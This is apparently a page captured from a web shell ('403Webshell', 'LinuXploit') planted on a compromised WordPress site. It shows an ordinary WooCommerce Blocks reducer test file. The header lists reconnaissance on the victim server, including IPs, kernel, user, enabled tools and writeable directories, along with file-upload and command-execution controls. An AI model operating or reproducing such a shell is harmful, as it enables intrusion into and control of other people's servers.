403Webshell
Server IP : 104.21.14.103  /  Your IP : 18.219.205.116
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/thietke365.net/wp-content/plugins/woocommerce/packages/woocommerce-blocks/assets/js/data/collections/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/thietke365.net/wp-content/plugins/woocommerce/packages/woocommerce-blocks/assets/js/data/collections/test/reducers.js
/**
 * External dependencies
 */
import deepFreeze from 'deep-freeze';

/**
 * Internal dependencies
 */
import receiveCollection from '../reducers';
import { ACTION_TYPES as types } from '../action-types';

describe( 'receiveCollection', () => {
	const originalState = deepFreeze( {
		'wc/blocks': {
			products: {
				'[]': {
					'?someQuery=2': {
						items: [ 'foo' ],
						headers: { 'x-wp-total': 22 },
					},
				},
			},
		},
	} );
	it(
		'returns original state when there is already an entry in the state ' +
			'for the given arguments',
		() => {
			const testAction = {
				type: types.RECEIVE_COLLECTION,
				namespace: 'wc/blocks',
				resourceName: 'products',
				queryString: '?someQuery=2',
				response: {
					items: [ 'bar' ],
					headers: { foo: 'bar' },
				},
			};
			expect( receiveCollection( originalState, testAction ) ).toBe(
				originalState
			);
		}
	);
	it(
		'returns new state when items exist in collection but the type is ' +
			'for a reset',
		() => {
			const testAction = {
				type: types.RESET_COLLECTION,
				namespace: 'wc/blocks',
				resourceName: 'products',
				queryString: '?someQuery=2',
				response: {
					items: [ 'cheeseburger' ],
					headers: { foo: 'bar' },
				},
			};
			const newState = receiveCollection( originalState, testAction );
			expect( newState ).not.toBe( originalState );
			expect(
				newState[ 'wc/blocks' ].products[ '[]' ][ '?someQuery=2' ]
			).toEqual( {
				items: [ 'cheeseburger' ],
				headers: { foo: 'bar' },
			} );
		}
	);
	it( 'returns new state when items do not exist in collection yet', () => {
		const testAction = {
			type: types.RECEIVE_COLLECTION,
			namespace: 'wc/blocks',
			resourceName: 'products',
			queryString: '?someQuery=3',
			response: { items: [ 'cheeseburger' ], headers: { foo: 'bar' } },
		};
		const newState = receiveCollection( originalState, testAction );
		expect( newState ).not.toBe( originalState );
		expect(
			newState[ 'wc/blocks' ].products[ '[]' ][ '?someQuery=3' ]
		).toEqual( { items: [ 'cheeseburger' ], headers: { foo: 'bar' } } );
	} );
	it( 'sets expected state when ids are passed in', () => {
		const testAction = {
			type: types.RECEIVE_COLLECTION,
			namespace: 'wc/blocks',
			resourceName: 'products/attributes',
			queryString: '?something',
			response: { items: [ 10, 20 ], headers: { foo: 'bar' } },
			ids: [ 30, 42 ],
		};
		const newState = receiveCollection( originalState, testAction );
		expect( newState ).not.toBe( originalState );
		expect(
			newState[ 'wc/blocks' ][ 'products/attributes' ][ '[30,42]' ][
				'?something'
			]
		).toEqual( { items: [ 10, 20 ], headers: { foo: 'bar' } } );
	} );
} );

Youez - 2016 - github.com/yon3zu
LinuXploit